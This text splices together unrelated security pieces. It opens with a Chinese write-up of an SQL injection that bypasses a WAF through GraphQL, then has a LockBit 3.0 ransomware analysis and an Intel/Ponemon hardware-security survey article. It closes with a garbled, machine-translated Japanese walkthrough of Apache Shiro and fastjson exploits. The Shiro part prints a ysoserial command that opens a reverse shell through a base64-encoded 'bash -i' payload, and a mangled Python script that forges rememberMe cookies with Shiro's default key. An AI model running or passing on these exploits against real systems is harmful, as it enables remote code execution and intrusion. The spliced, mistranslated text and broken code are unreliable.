我們遍歷字母表,並將每個字母與char 進行比較。

如果有匹配,我們記錄結果並移動到下一個字符。

最後,我們通過連接所有字符獲得了完整的資源。

觀察2第二個重要的觀察結果是,在執行的SQL查詢出現錯誤時,會顯示錯誤消息,這對我來說容易得多。這個錯誤信息不允許我執行一個基於錯誤的SQL注入,而是顯示了由PostgreSQL在SQL服務器上執行的完整SQL查詢。這一點為什麼如此重要,我們很快就會明白。

從錯誤消息中提取的SQL查詢看起來像這樣:

4.png

作為“email”變量提交的用戶輸入反映在X-MARK上。這就是為什麼擁有完整的SQL查詢對於開發過程很重要的兩個原因:

可以看到用戶輸入被括在括號中,這條信息使有效負載的生成過程變得更加容易,因為人們知道輸入必須包含與左括號匹配的右括號,以便結束SQL 查詢有效。

用戶輸入反映在查詢中的多個位置(第5、10、11 行),給我帶來麻煩的是第5 行。如果是X-MARK 僅反映在WHERE 子句中的情況,事情會更容易。但在這種情況下,我必須確保我的輸入不會弄亂表JOIN。這是必要的,以確保生成和查詢正確的表行,以便我可以獲得所需的數據。

注意:第8 行的$1 符號是SQL 準備查詢的位置參數,並由HTTP 請求的“名稱”變量參數替換。但它不容易受到SQL 注入的影響。

第一次嘗試我首先嘗試查找當前數據庫的名稱。在PostgreSQL 中執行此操作的SQL 查詢是:

5.png

有很多事情需要考慮,而且從一開始就很瘋狂,我必須從一開始就想出繞過Cloudflare 的方法。

WAF 繞過的第一種辦法首先,我必須首先將current_database() 的第一個字符與字符“a”進行比較。 PostgreSQL的方法是:

6.png

Cloudflare會阻塞'substr'函數,所以訣竅是要么使用'left',要么使用'right'函數。我使用'right'函數,因為'left'給了我一些麻煩,當我試圖找出我已經找到所有的數據庫名稱的字符。新的查詢(將“a”與最後一個資源的字符進行比較,如下所示:

7.png

並且未被WAF 檢測到。

注意:函數right(current_database(), N) 返回數據庫名稱最右邊的N 個字符。因此,當找到最後一個字符時,例如X,下一次調用該函數應該是:

8.png

由於我們已經知道我們必須關閉查詢中的左括號(來自觀察2),POST 請求的正文如下所示(此處僅顯示'email'變量):

9.png

但是,記住後端SQL 查詢如何包含JOIN 子句(來自觀察2),我還在查詢中添加了一些額外的內容,以確保SQL 連接在後台正確執行。 POST 請求的正文如下所示:

10.png

服務器上的後續SQL 查詢如下所示:

11.png

這很複雜,但想法是一樣的:如果“a”是數據庫名稱的最右邊的字符,我們將從服務器獲得一個“OK”響應。

無論如何,在向服務器提交這個請求後,我看到了Cloudflare WAF(配置錯誤)的可怕頁面,告訴我我的請求被阻止了。

第二次嘗試在我再次嘗試之前,我必須了解Cloudflare 對我的查詢有什麼幫助。

經過反複測試,我發現問題出在生成的服務器SQL 查詢中的FROM 子句中的空格。這導致我進入第二個WAF 繞過。

WAF 繞過的第二種辦法此處使用的第二種WAF 繞過技術消除了SQL 查詢中的空格,並將SQL FROM 子句的部分括在括號中。

12.png

變成了

13.png

因此POST 請求的結果正文變為:

14.png

在服務器上的後續SQL查詢是這樣的:

15.png

這樣,整個過程就可以實現自動化了,以找到數據庫名稱的整個值。相同的過程還檢索了用戶名(通過使用user 函數)和數據庫版本(通過使用version() 函數)。但是存儲在數據庫表中的數據呢?檢索這些數據的通用查詢,以及我在上一篇文章中使用的繞過方法的查詢都不起作用。兩者都被阻止:

16.png

為什麼我的查詢被阻止了?問題是緊跟在SELECT 子句之後的FROM 子句。以下查詢將很好地通過(錯誤配置的)Cloudflare WAF SQLi 過濾器:

17.png

一旦在查詢結束時引入WHERE 子句,WAF 就會啟動並阻止請求。我的最終目標是從任何表中檢索數據。是時候深入挖掘兔子洞了。

第三次嘗試我在這裡給出SQLi 的早期失敗嘗試,只是因為我希望這篇文章向人們展示在滲透測試期間思維過程是如何展開的。

在我嘗試使事情複雜化(即脫離所有JOIN 和FROM 子句)時,我使用了一個簡單的分號和註釋技巧(;--)。計劃是首先檢索數據庫名稱,然後在此基礎上檢索表中的數據:

18.png

服務器上生成的SQL 查詢如下:

19.png

無論如何,這當然行不通,原因有兩個:

第5行之後的所有內容都會因為註釋而被忽略,這不一定是限制性的,但我寧願在FROM 子句中執行我的SQLi。

我收到以下錯誤:“綁定消息提供1 個參數,但準備好的語句需要0”。這是因為name 變量被傳遞給準備好的語句,但第8 行被忽略了,因此新的準備好的語句不需要該變量。

第四次嘗試我在這裡給出了從表中檢索數據的另一個早期嘗試,它使我更接近我的目標。在此之前我所知道的是,以下負載將被WAF 阻止:

20.png

注意:我添加了LIMIT 和OFFSET 關鍵字,以便從table1 中僅檢索一行。 LIMIT 表示我們只想要檢索一行,OFFSET 表示在開始檢索數據之前我們想要跳過多少行。在這種情況下,OFFSET 0 表示數據庫應該跳過0 行並返回table1 中的第一行。這對於逐一檢索表的所有行很有用。

WAF 繞過的第三種辦法回顧從數據庫服務器產生的錯誤中檢索到的SQL 查詢,我注意到可能不需要使用FROM 子句。 table1 表在使用AS 關鍵字的查詢中別名為t1,並且可以基於t1 引用它的任何列。這樣就可以這樣查詢table1 的column1 列:

21.png

這可以很好地通過(錯誤配置的)Cloudflare WAF,因此POST 請求正文中的有效負載可以這樣轉換:

22.png

服務器上的後續SQL 查詢如下所示:

23.png

這可以正常工作,但限制是只能提取table1(或table2)中的數據,因為這些是服務器SQL 查詢中唯一的別名表,繼續進行最後的成功嘗試。

最後一次嘗試好吧,如果我想從數據庫中檢索任何我想要的數據,我不得不放棄WAF 繞過的第三種方法。此時,似乎沒有辦法避免使用FROM子句。而且,在不被Cloudflare的WAF檢測到的情況下,似乎也沒有辦法成功地將FROM子句隱藏到有效載荷中。似乎我正在尋找的答案不在SQL查詢中。我不得不後退一步。

進入GraphQL我們已經看到發送的請求的正文是一個GraphQL 查詢,然後它被翻譯成一個SQL 查詢。所以我的下一個嘗試是改變GraphQL 查詢並設法隱藏其中的FROM 子句,這將有望轉換為在服務器上工作的SQL查詢。

如上所述,GraphQL 查詢的結構類似於JSON 對象。 JSON 中的數據以名稱/值對存儲在字典中,它們都是字符串。 GraphQL 查詢需要字符串鍵,但允許使用任意參數。這些規則適用於GraphQL:

數據用逗號分隔;

花括號容納對象;

方括號包含數組;

因此一個GraphQL查詢參數可以看起來像以下任何一種方式:

24.png

這讓我想到:如果我將對象的值作為數組而不是字符串傳遞,後端服務器上的SQL 查詢會發生什麼。簡而言之,我想打破SQL 注入查詢並將FROM 子句移動到不同的對像以欺騙Cloudflare。

25.png

進入

26.png

該請求繞過了WAF,我從數據庫中得到了一個錯誤,報錯是一個格式不正確的SQL查詢,並向我顯示了完整的SQL查詢結果。在註入點的查詢是這樣的:

27.png

注意SELECT column1 後面的逗號(,) 嗎?那是我繞過SQLi 過濾的憑證。將GraphQL 查詢參數的值作為數組傳遞會在後端SQL 服務器中轉換為字符串。字符串只是由逗號和空格字符分隔的數組項的串聯!此時,SQL查詢是錯誤的,但我可以註釋掉逗號,並獲得一個有效的、繞過waff的請求,該請求從我選擇的任何數據庫表中檢索我想要的任何數據。

這是最終POST 請求的正文:

28.png

以及在SQL 服務器上生成的有效SQL 查詢:

29.png

成功!

為了簡化表檢索過程,我用Python編寫了一個腳本來自動化這個過程。腳本的偽代碼如下所示:

30.png

這就是我如何利用GraphQL 製作SQL 注入,繞過配置錯誤的Cloudflare WAF 實例,並能夠在後端檢索整個數據庫。正如我在開頭提到的,這種繞過技術的組合不適用於正確配置的Cloudflare WAF。

緩解措施緩解數據庫上SQL 注入的最安全方法是準備好的語句。

BlackMatter是一種勒索軟件變體,它使用Salsa20和1024位RSA加密文件,並需要大量加密貨幣進行解密。與許多其他勒索軟件組織一樣,BlackMatter通過洩露數據的威脅來增加獲得支付贖金的機會。 BlackMatter作為一種勒索軟件即服務(RaaS)運行。

2022年6月,LockBit發布了其勒索軟件3.0版。在這篇文章中,我們將詳細討論其攻擊過程,以及其與BlackMatter勒索軟件的相似之處。

2022年3月,也就是LockBit2.0首次出現不到一年後,研究人員發現了即將推出的LockBit勒索軟件新變種。 LockBit3.0,又名“LockBitBlack”,要到6月下旬才會發布,與此同時,該組織推出了新的漏洞洩露網站和漏洞獎勵計劃。此後,一位研究人員分享了LockBit3.0的樣本,以及他對新變體的初步分析。

detect it easy是一款跨平台的PE查殼工具,研究人員使用這個工具發現這個特定的LockBit3.0樣本是一個Win32.exe文件,其中包含多個部分,由未知的加殼器封裝(圖1)。根據樣本的原始來源,惡意軟件使用此參數執行:

{04830965-76E6-6A9A-8EE1-6AF7499C1D08}.exe-kLocalServiceNetworkRestricted-passdb66023ab2abcb9957fb01ed50cdfa6aLockBit3.0示例隨後會刪除一個.ico文件,該文件的文件名與附加到%PROGRAMDATA%文件夾中加密文件的文件名相同(圖2)。

1.png

LockBit3.0的文件屬性

2.png

%PROGRAMDATA%文件夾中的.ico文件

作為其加密過程的一部分,LockBit3.0附加了擴展名HLJkNskOq(圖3),並將加密文件的圖標更改為上述.ico文件的圖標。

3.png

帶有新文件名和擴展名的加密文件,以及LockBit的勒索信

然後,勒索軟件釋放其勒索信,其中提到了“IlonMusk”和歐盟的通用數據保護條例(GDPR)。最後,它會更改受害者計算機的壁紙,以通知他們盡快繳納贖金。

4.jpg

LockBit3.0勒索信的內容

5.png

LockBit3.0的桌面壁紙

與BlackMatter勒索軟件的相似之處研究人員指出,LockBit 3.0的部分代碼似乎借鑒了BlackMatter勒索軟件,因此LockBit 3.0又被稱為LockBit Black。同樣地,我們在調試LockBit3.0示例期間發現了BlackMatter和新的LockBit變體之間存在相似之處。從我們對解壓樣本的檢查和研究員ChuongDong提供的分析中,我們發現LockBit3.0需要一個pass參數來解密其主程序。研究人員已經觀察到其他勒索軟件家族,如Egregor也表現出了相同的行為,其中需要參數才能繼續執行該程序。如果參數不可用,這會使二進製文件更難反轉。

6.png

使用-pass參數解密部分

LockBit 3.0通過哈希DLL的API名稱來執行API收集,然後將其與勒索軟件所需的API列表進行比較。這個程序與BlackMatter相同,因為重命名BlackMatter的API的外部可用腳本也適用於LockBit 3.0。

7.png

LockBit3.0的API收集程序

8.png

BlackMatter的API收集程序

9.png

LockBit3.0用於重命名API的XOR密鑰

10.png

BlackMatter用於重命名API的XOR密鑰

LockBit 3.0沒有直接調用收集到的API的地址,而是實現了一個蹦床指針,該指針指向一個已分配的堆,其中包含一個反彙編代碼,然後該代碼將跳轉到NtTerminateProcess API的API地址。堆中包含的代碼是從這組代碼中隨機選擇的:

隨機數ROR;

隨機數ROL;

異或密鑰;

通過隨機數ROR,然後異或到密鑰;

ROL隨機數,然後異或到密鑰;

11.png

LockBit3.0的蹦床指針代碼

12.png

LockBit3.0對NtTerminateProcessAPI的蹦床調用

LockBit3.0和BlackMatter也實現了相同的反調試技術:兩者都通過NtSetThreadInformationAPI將線程信息設置為ThreadHideFromDebugger(0x11),以導致任何調試器在這個線程上設置斷點時崩潰。

13.png

通過NtSetThreatInformation的ThreadHideFromDebugger

與BlackMatter一樣,LockBit3.0在使用API時使用線程而不是直接調用API,這可能是為了讓研究人員更難分析。它使用的字符串使用簡單的按位XOR程序、按位XOR和NOT程序或涉及線性同餘生成器(LCG)算法以生成偽隨機密鑰的解密程序。除了添加了按位XOR和NOT程序,其他都類似於BlackMatter的操作方式。

14.png

LockBit3.0用於字符串解密的按位異或程序

15.png

LockBit3.0的按位XOR和NOT用於字符串解密

16.png

LockBit的3.0字符串解密使用LCG算法

LockBit3.0的配置使用相同的XOR程序和從LCG偽隨機數生成器獲得的密鑰進行解密,然後使用稱為APLib的壓縮庫進行解壓縮。

17.png

LockBit3.0的配置列表

LockBit3.0還會檢查受害計算機的UI語言,以避免用這些語言攻擊計算機:

阿拉伯語(敘利亞);

亞美尼亞語(亞美尼亞);

阿塞拜疆語(西里爾語阿塞拜疆);

阿塞拜疆語(拉丁語阿塞拜疆);

白俄羅斯語(白俄羅斯);

格魯吉亞語(格魯吉亞);

哈薩克語(哈薩克斯坦);

吉爾吉斯(吉爾吉斯斯坦);

羅馬尼亞語(摩爾多瓦);

俄語(摩爾多瓦);

俄語(俄羅斯);

塔吉克語(西里爾塔吉克斯坦);

土庫曼(土庫曼斯坦);

韃靼語(俄羅斯);

烏克蘭語(烏克蘭);

烏茲別克語(西里爾文烏茲別克斯坦);

烏茲別克語(拉丁烏茲別克斯坦);

LockBit3.0還保留了這些BlackMatter程序,以用於提權升級:

使用UACMe的方法繞過用戶帳戶控制(UAC),這是在dllhost.exe下使用ICMLuaUtil COM接口;

複製Explorer.exe令牌以供自己使用;

執行32位或64位shellcode注入以提升其令牌。

LockBit3.0和BlackMatter都用作加密文件擴展名、勒索信名稱以及壁紙和圖標名稱的字符串是Base64編碼的哈希。然而,這兩種勒索軟件之間的一個關關鍵區別在於,LockBit3.0選擇使用嵌入在其配置中的RSA公鑰,並使用MD5對其進行哈希處理,而BlackMatter使用具有相同算法對API進行哈希處理的MachineGUID。這使得被同一樣本感染的所有計算機的字符串看起來都相似,這可能是LockBit的操作人員的一種嘗試,以便他們更容易識別加密文件所需的RSA私鑰對。

18.png

BlackMatter(左)和LockBit3.0(右)的字符串生成

與BlackMatter一樣,LockBit3.0也執行以下程序:

嘗試使用其配置列表中的憑據登錄,以確定受感染的系統是否是將用於以後程序的域管理員的一部分;

一個類似於BlackMatter的程序會終止並從其配置列表中刪除進程和服務;

擦除每個驅動器的回收站文件夾;

檢查計算機名哈希列表,以避免從其配置列表中刪除;

如果設置了標誌,則從其配置列表連接到CC服務器;

如果在其配置標誌中設置,則加密網絡共享和Exchange郵箱;

從其配置列表中獲取要避免使用的文件、文件夾和擴展名列表;

加密.lnk文件時使用指向文件;

在任何可用的打印機上打印勒索信並修改桌面壁紙;

使用與BlackMatter相同的加密算法;

LockBit3.0對卷影副本的刪除顯然是從BlackMatter的代碼中刪除的,因為這是使用WindowsManagementInstrumentation(WMI)通過COM對象執行的,而不是LockBit2.0使用vssadmin.exe。

19.png

LockBit3.0通過WMI刪除卷影副本

這個最新的LockBit迭代只在提供特定參數時才會執行一些程序。 LockBit 3.0只接受表2中列出的參數,而BlackMatter只接受-safe、-wall和-path參數。

20.png

LockBit3.0接受的參數列表

新的LockBit變體使用哈希和基於代碼檢查參數,它被設計為只執行一個來自參數的例程,除了-pass,它需要在檢查其他參數之前執行。如果提供了-wall參數,則打印勒索信和更改受害計算機牆紙的程序也類似於BlackMatter的程序。像BlackMatter一樣,只要提供了-safe參數,LockBit3.0也可以在安全模式下重新啟動並通過RunOnce註冊表執行。

然而,它們的配置標誌之間有一個關鍵的區別:BlackMatter只有9個標誌,而LockBit3.0有24個,詳見表3。

21.1.png

21.2.png

21.3.png

21.4.png

可以在LockBit 3.0的配置中設置的標誌

第三個LockBit版本的一個值得注意的行為是它的文件刪除技術:它不使用cmd.exe執行將執行刪除的批處理文件或命令,而是刪除並執行從二進製文件中解密的.tmp文件。但是,只要提供了-gspd參數,它就會保留LockBit2.0的一些功能,例如早期版本通過組策略更新進行橫向移動的能力。

執行的.tmp文件會覆蓋勒索軟件二進製文件的內容,然後使用基於原始文件名長度的新文件名多次重命名該二進製文件,例如,一個名為1.exe的文件,它有五個字符(包括文件擴展名),被重命名為AAAAA,然後是BBBBB,直到ZZZZZ。重命名文件後,LockBit3.0最終將其刪除。該程序可能是LockBit勒索軟件組織試圖避免通過取證工具進行恢復,並通過完全刪除任何勒索軟件的痕跡來掩蓋他們的踪跡。

22.png

LockBit3.0多次重命名勒索軟件文件

23.png

LockBit3.0在反復重命名後刪除勒索軟件文件

VirusTotal上的LockBit3.0最近,一位研究人員在VirusTotal上發現了另一個LockBit 3.0示例,在撰寫本文時,在撰寫本文時檢測到了19個。這個特定的示例是一個包含兩層模糊代碼的PowerShell腳本。在對腳本進行去混淆之後,我們發現LockBit 3.0能夠通過反射加載將DLL注入內存,使用的代碼與BlackMatter自己的PowerShell代碼相同。

24.png

截至2022年7月21日在VirusTotal上發現的LockBit3.0樣本

25.png

LockBit3.0的第一層混淆代碼

26.png

LockBit3.0的第二層混淆代碼

27.png

LockBit3.0的反混淆PowerShell腳本

28.png

LockBit3.0的主要功能

29.png

BlackMatter的主要功能

此特定示例具有通過Base64壓縮和加密的有效負載。為了訪問它,我們修改了腳本以轉儲有效負載而不是執行它。通過轉儲有效載荷,我們能夠獲得LockBit3.0的主要二進製文件。

執行時,該腳本表現出與之前發現的LockBit3.0示例相同的行為。此特定示例將19MqZqZ0附加到加密文件的文件名。

30.png

LockBit3.0的有效載荷

31.png

轉儲LockBit3.0的有效負載

32.png

LockBit3.0的主要二進製文件

33.png

LockBit3.0的加密文件,其名稱後附有19MqZqZ0

這個特定的LockBit 3.0示例的有效負載只檢查3個哈希參數,而之前的LockBit3.0示例檢查了8個。它的DLL有效負載是反射式加載的,其通過管理共享和組策略傳播程序的代碼是為PE(便攜式可執行文件)二進製文件設計的,而不是為PowerShell腳本設計的,這可能解釋了為什麼某些程序不起作用。另一種可能性是,LockBit3.0的勒索軟件構建器可能會選擇禁用某些程序。即使檢查了-pass

CPU_Processor-e1551372800619.jpeg

遠程勞動力、混合雲和零信任趨勢正在推動安全團隊專注於硬件輔助安全策略,以更好地保護因新冠病毒而發生重大變化的攻擊面。

為了應對新的挑戰,硬件輔助安全被視為獲得IT生態系統可見性、管理數字資產以及降低安全團隊和計算成本的有效的創新方式。這些發現來自英特爾贊助的Ponemon Institute最近的一項調查。

根據這項研究:“由於遠程業務的發展,組織被迫在幾乎沒有預先警告的情況下改變其網絡安全實踐。”53%的受訪者表示,他們IT堆棧中與新冠病毒相關的變化迫使他們更新安全策略。

這一轉變的核心是尋求創新的新方法來管理基礎設施和端點蔓延。最近的漏洞Log4J、ProxyShell和ZeroLogon都強調了這一新動態。在每個零日實例中,安全團隊必須爭先恐後地查看生態系統中哪些可能易受攻擊,需要先修補。

這項對1406名IT專業人員的研究旨在探索採用該技術的公司和考慮採用相關解決方案的公司對硬件輔助安全的態度。該研究還探討了硬件輔助安全如何幫助組織加強安全工作。

什麼是硬件輔助安全?硬件輔助安全(HAS)解決了大型網絡基礎設施中資產可見性的業務挑戰,它使安全團隊能夠更快地發現和修復漏洞。硬件安全性通過設備組件固件或軟件實現這一點,這可以通過虛擬機管理程序和其他網絡監控工具實現更高級別的可見性。

硬件輔助的主要安全組件包括:

控制-流量執法技術(高級惡意軟件保護)

硬件遙測以通知惡意信號(威脅偵察)

加密和加速(安全設備訪問)

端點身份驗證和可信平台模塊芯片(端點身份驗證)

通過HAS在應對威脅中佔據上風可見性和緩解響應是關鍵,Log4J等新出現的威脅以及與漏洞相關的看不見的錯誤就說明了這一點。在這兩種情況下,資產可見性和快速緩解響應時間對於防止攻擊至關重要。

英特爾和Ponemon發現,受訪者認為資產可見性是應對威脅的重要組成部分。安全團隊經常因缺乏對組織整個網絡的可見性而受到阻礙。 HAS允許資源緊張的安全團隊依靠自動化工具來增強安全團隊的網絡管理能力。

研究發現:“威脅環境的快速復雜要求組織領先安全更新一步。”大約一半的受訪者(48%)表示,他們對新披露的漏洞和補丁有足夠的可見性。

這種安全方法與Ponemon的發現相吻合,Ponemon的發現顯示,公司正在尋找創新的新方法來解決現代IT堆棧。 41%的受訪者將自動化和40%的受訪者將應對當今可見性和管理挑戰列為頂級安全創新。

英特爾客戶安全戰略和倡議副總裁兼總經理Tom Garrison說:“沒有可見性和透明度,就沒有信任。”

創新如何降低成本新的遠程勞動力和雲趨勢為對手創造了一場完美的風暴。

這一現實包括遍布混合雲基礎設施的蔓延攻擊面,並將數千個端點和數字資產連接在一起。隨著攻擊表面的增長,網絡管理員和安全團隊面臨的挑戰就是跟踪資產並減少漏洞。

48%的受訪者表示,他們的安全團隊每週就花費17個小時來繪製物聯網設備上的已知漏洞。而HAS中的自動化工具可以簡化這些工作,使安全團隊能夠專注於緩解和漏洞發現。這可以減少安全團隊的工作量,減少員工的倦怠,並降低與安全人員配置相關的成本——同時讓員工專注於減輕真正的威脅,而不是“假陽性”。

據65%採用該技術的公司稱,Ponemon在其研究中排除了這一點,受訪者分享了HAS通過矽水平的硬件資產自動庫存簡化了資產可見性和漏洞暴露。

能見度至關重要,但有時可能目光短淺許多公司仍然難以在子操作系統層面繪製IT資產的已知漏洞。 52%的受訪者表示,他們根據最新的微代碼和CPU更新跟踪設備的安全性,但其餘的則沒有。沒有這種級別的跟踪,組織可能會為BIOS和固件級別的子操作系統惡意軟件攻擊或惡意代碼的持續存在打開大門。

69%的受訪者表示,硬件和固件安全解決方案使漏洞管理更加有效。根據這項研究,“在那些使用硬件和固件安全解決方案的組織中,58%的受訪者表示,他們的組織可以很好地或顯著地了解他們的硬件和固件是否處於已知良好狀態。”

抵消零信任身份驗證成本其他成本考慮因素包括與通過加密進行設備身份驗證所需的支持硬件的加速器相關的成本節約。 36%的受訪者表示,硬件是他們組織端點(PC/IoT)安全戰略的一部分。隨著公司更加重視零信任解決方案,相關計算成本可能會增加。

研究發現,在採用硬件安全的公司中,32%的企業已經實施了零信任解決方案。根據該研究,“隨著組織採用新的安全技術,硬件輔助安全補充了現有協議,並加強了整體安全衛生。”

硬件安全可以允許組織利用支持硬件的加速器來抵消加密成本,從而降低基於加密的身份驗證的計算成本。

根據這項研究,38%的受訪者表示,他們利用硬件加速器來抵消加密成本。 26%的人表示,他們部署了硬件或支持矽的加速器,以抵消在啟用訪問之前驗證端點的成本。

在尋求不斷變化的威脅格局的創新解決方案的組織中,從業者的滿意度和對HAS解決方案的看法非常強烈。 36%的調查受訪者表示,他們的組織採用了硬件輔助安全解決方案,47%的人表示,他們的組織將在未來六個月內採用HAS解決方案。

受訪者告訴英特爾和Ponemon,今天的威脅環境要求“組織在網絡安全實踐中具有敏捷性和創新性”。

shiro

Apache Shiroは、認証、承認、暗号化、セッション管理機能を提供して、複雑な問題を隠し、開発者が独自のプログラムセキュリティコードを簡単に開発できるようにする明確で直感的なAPIを提供します。

Shiroは、Shiroが開発チームが「4つのセキュリティコーナーストーン」と呼ぶものに焦点を当てています - 認証、承認、セッション管理、暗号化

認証:ユーザーIDの識別。時にはそれは「ログイン」と見なすことができます。これは、彼が誰であるかを証明するためのユーザーの行為です。承認:「何が「何にアクセスできるか」を決定するなど、アクセス制御プロセス。セッション管理:WebまたはEJBコンテナのない環境でも、ユーザーセッションを管理します。ユーザーの時間関連ステータスを管理します。暗号化:暗号化アルゴリズムを使用して、データをより安全に保護し、データが覗かれないようにします。 @shiro:https://github.com/vulhub/vulhub/tree/master/shiro

CVE-2010-3863:Apache Shiro Certification Bypassの脆弱性

脆弱性の原則

バージョンのApache Shiro 1.1.0の前に、Shiroは許可確認を実行する前にURLを標準化しませんでした。攻撃者は /、//、 /./、 /… /などを構築できます。許可確認をバイパスします。

影響バージョン

Shiro 1.1.0およびJSecurity 0.9.x

脆弱性の再発

アクセスページアドレスは:IP:8080です

脆弱性ポイント/管理者

クロスディレクトリを使用して辞書ファズをテストします

image.png

image.png

CVE-2016-4437:Apache Shiro 1.2.4 Deserialization脆弱性/Shiro550

脆弱性の原則

Shiro550の脆弱性に属します。

Apache Shiro 1.2.4および以前のバージョンでは、暗号化されたユーザー情報がシリアル化され、Remember-Meという名前のCookieに保存されました。攻撃者は、Shiroのデフォルトキーを使用してユーザーCookieを鍛造し、Java Deserializationの脆弱性をトリガーし、ターゲットマシンで任意のコマンドを実行できます。

Shiroは、デフォルトでCookiereMembermemanagerを使用し、Rememberme Cookieを暗号化し、CookierMemberMemmeManaerクラス、AES暗号化、およびbase64エンコーディング操作の記憶のフィールドコンテンツをシリアル化します。 IDを識別するときは、CookieのRemembermeフィールドを復号化する必要があります。暗号化の順序によれば、復号化の順序は==cookie-base64デコード-aes復号化除表現を取得することであると推測できます。==

影響バージョン

Apache Shiro=1.2.4

脆弱性の再発

認証、承認、パスワード、セッション管理のために、Shiro Frameworkがページのログインを使用するかどうかを判断します。

判断方法:Remember Passwordオプションをチェックした後、[ログイン]をクリックし、パケットをつかみ、リクエストパッケージにRemembermeフィールドがあるかどうか、およびResponseパッケージにSetCookie:Rememberme=DeleTemeフィールドがあるかどうかを観察します。下の写真に似ています。

image.png

image.png

rememberme=deletemeフィールドが応答パッケージに表示される限り、それは脆弱性があることを意味します。片側にするために、rememberme=deletemeフィールドが表示される場合、ログインページが認証にshiroを使用していることのみを示す必要があります。リクエストパッケージのCookieに脆弱性とリコールフィールドがあることを直接示していません。ログインが失敗した場合、Remembermeフィールドがチェックされているかどうかに関係なく、Return PackageにはRembermeme=Deletemeフィールドがあります。ログインが成功した場合、リターンパッケージにはrememberme=deletemeフィールドがあります。ログインが成功した場合、Return Package Set-Cookieにはrememberme=deletemeフィールドがあります。ただし、その後のすべてのリクエストでは、CookieにはRememberme Field Check remembermeがありません。ログインが成功した場合、リターンパッケージにはセットクッキーにRememberme=Deletemeフィールドがあり、Remembermeフィールドがあります。その後のすべてのリクエストで、Cookieには記憶型フィールドがあります。または、Cookieの後に記憶型のフィールドを追加して、rememberme=deremetemeymfzacatasa+jiavzgv2l3rjcc8xotiumty4ljk5ljeyos80ndq0ida+jje=があるかどうかを確認できます。

Java -cp ysoserial.jar ysoserial.exploit.jrmplistener 6666 commonscollections4 'bash -c {echo、ymfzacatasa+jiavzgv2l3rjcc8xotiumty4ljk5ljeyos80ndq0ida+jje=} | {base64、-d} | {bash、-i} '

shiro-exploit.pyを使用して、shiroのデフォルトキーを取得します(ツールアドレス:https://github.com/insightglacier/shiro_exploit)

image.png

shiro.pyを使用してペイロードを生成します(自分でキーを変更する必要があります。Shiro.pyコードは次のとおりです:)

コマンド:Shiro.py 192.168.17.13233606666

shiro.py:

sysをインポートします

uuidをインポートします

base64をインポートします

サブプロセスをインポートします

crypto.cipher Import AESから

def encode_rememberme(command):

popen=subprocess.popen(['java'、 '-jar'、 'ysoserial-0.0.6-snapshot-all.jar'、 'jrmpclient'、command]、stdout=subprocess.pipe)

bs=aes.block_size

pad=lambda S: s +((bs -len(s)%bs) * chr(bs -len(s)%bs))。encode()

key=base64.b64decode( 'kph+bixk5d2deziixcaaaaa==')

iv=uuid.uuid4()。バイト

encryptor=aes.new(key、aes.mode_cbc、iv)

file_body=pad(popen.stdout.read())

base64_ciphertext=base64.b64encode(iv + encryptor.encrypt(file_body)))

base64_ciphertextを返します

__name__=='__main __' :の場合

ペイロード=encode_rememberme(sys.argv [1])

print( 'rememberme={0}'。フォーマット(payload.decode()))

python3 shiro.py 192.168.200.12933606666

ログインした後、パケットをつかみ、データパケットのCookie値を交換して、shiro.pyによって生成されたrememberme

image.png

CVE-2020-1957:Apache Shiro Certification Bypassの脆弱性

脆弱性の原則

プロジェクト全体で要求したURLの着信配信プロセスを分析する必要があります。 Shiroを使用するプロジェクトでは、Shiro Permissions(url2)によって検査され、最後にSpringbootプロジェクトへのルートをプロセス(URL3)で検査したのは、要求したURL(URL1)です。

脆弱性は、URL1、URL2、およびURL3で発生します。それは同じURLではないかもしれないので、Shiroの検証をバイパスし、バックエンドに直接アクセスすることになります。この場合の脆弱性は、この理由によって引き起こされます。

Shiro Frameworkは、Anon、AuthC、その他のインターセプターなどのインターセプター機能を通じてユーザーアクセス権を制御します。 Anonは匿名のインターセプターであり、アクセスにログインする必要はありません。 AUTHCはログインインターセプターであり、アクセスするためにログインする必要があります。

影響バージョン

Apache Shiro 1.5.2

脆弱性の再発

image.png

URLを変更/管理者は自動的にログインログインページにジャンプします

image.png

許可バイパス
の悪意のあるリクエストを構築します

コードレベルが追加されているため。それはバイパスされたものとして認識されます。 1つ/ショートを追加します。

URLは/xxx/.

/xxx/./admin/

image.png

shiro 721

脆弱性の再発:CVE-2019-12422

環境:Kali Linux

Dockerビルドとスタート

git clone https://github.com/3ndz/shiro-721.git

CD Shiro-721/Docker

Docker Build -T Shiro -721。

docker run -p 8080:8080 -d shiro -721

アクセス:

image.png

image.png

image.png

正しいアカウントパスワードでログインする場合、下の図に示すように、2つのリクエストパケット、つまり投稿とgetpostリクエストパケットを送信します(正しいアカウントパスワードでログインすることで取得したパッケージ)image.png

Get Request Packageは次のとおりです(これは、正しいパスワードでログインして、主にCookie値を背景に送信することで取得したパッケージです)image.png Rememberme=Deletemeフィールドを見ると、Shiro Deserializationの脆弱性image.png44444444があると言えます。

BurpプラグインはHAEとLOGGER ++を追加してShiroの指紋を表示します

image.png

image.png

ツールの使用率:

image.png

fastjson

@fastjson:https://github.com/vulhub/vulhub/tree/master/fastjson

脆弱性の原則

この脆弱性の原則は、FastJsonの脱介入メカニズムにあります。 FastJsonがJSONデータを解析すると、JSONデータをJavaオブジェクトに変換しようとします。このプロセスでは、FastJSONはJSONデータのタイプ情報に基づいてデータを解析する方法を決定します。攻撃者は、この機能を利用してJSONの特定のデータ型と構造を構築することができます。そのため、FastJSONは解析中に悪意のあるJavaクラスまたはメソッドを呼び出して、リモートコードの実行を実現します。

一般的な悪用方法は、FastJSONのオートタイプ関数を使用することです。オートタイプは、シリアル化と脱派の際にクラスの完全に適格なクラス名を使用できるFastJSONの機能です。攻撃者は、悪意のあるJSONデータを構築し、悪意のあるクラスをオートタイプの価値として使用できます。 FastJsonが脱必要になると、指定されたクラスをインスタンス化してクラス内のコードを実行しようとします(Exploitプロセスでは、JDBCrowsetlMPLは一般にチェーンを悪用するために悪用されます)。

@typeフィールド

@Typeは、オブジェクトタイプの情報を処理するために使用されるFastJSONの特別なフィールドの1つです。 JSONデータでは、 @ティプフィールドを使用して、脱出中にインスタンス化する必要があるクラスのタイプを指定できます。このフィールドは通常、特にFastJSONのオートタイプ関数が有効になっている場合、脱シリア化中にオブジェクトのタイプ情報を指定するために使用されます。

@Typeフィールドを介して、FastJSONはクラスを識別し、そのフィールドで提供されるクラスパスに基づいてオブジェクトを作成できます。これは、オブジェクトの正確なタイプを指定できるため、複雑なオブジェクト構造をシリアル化して隔離する場合に非常に便利です。

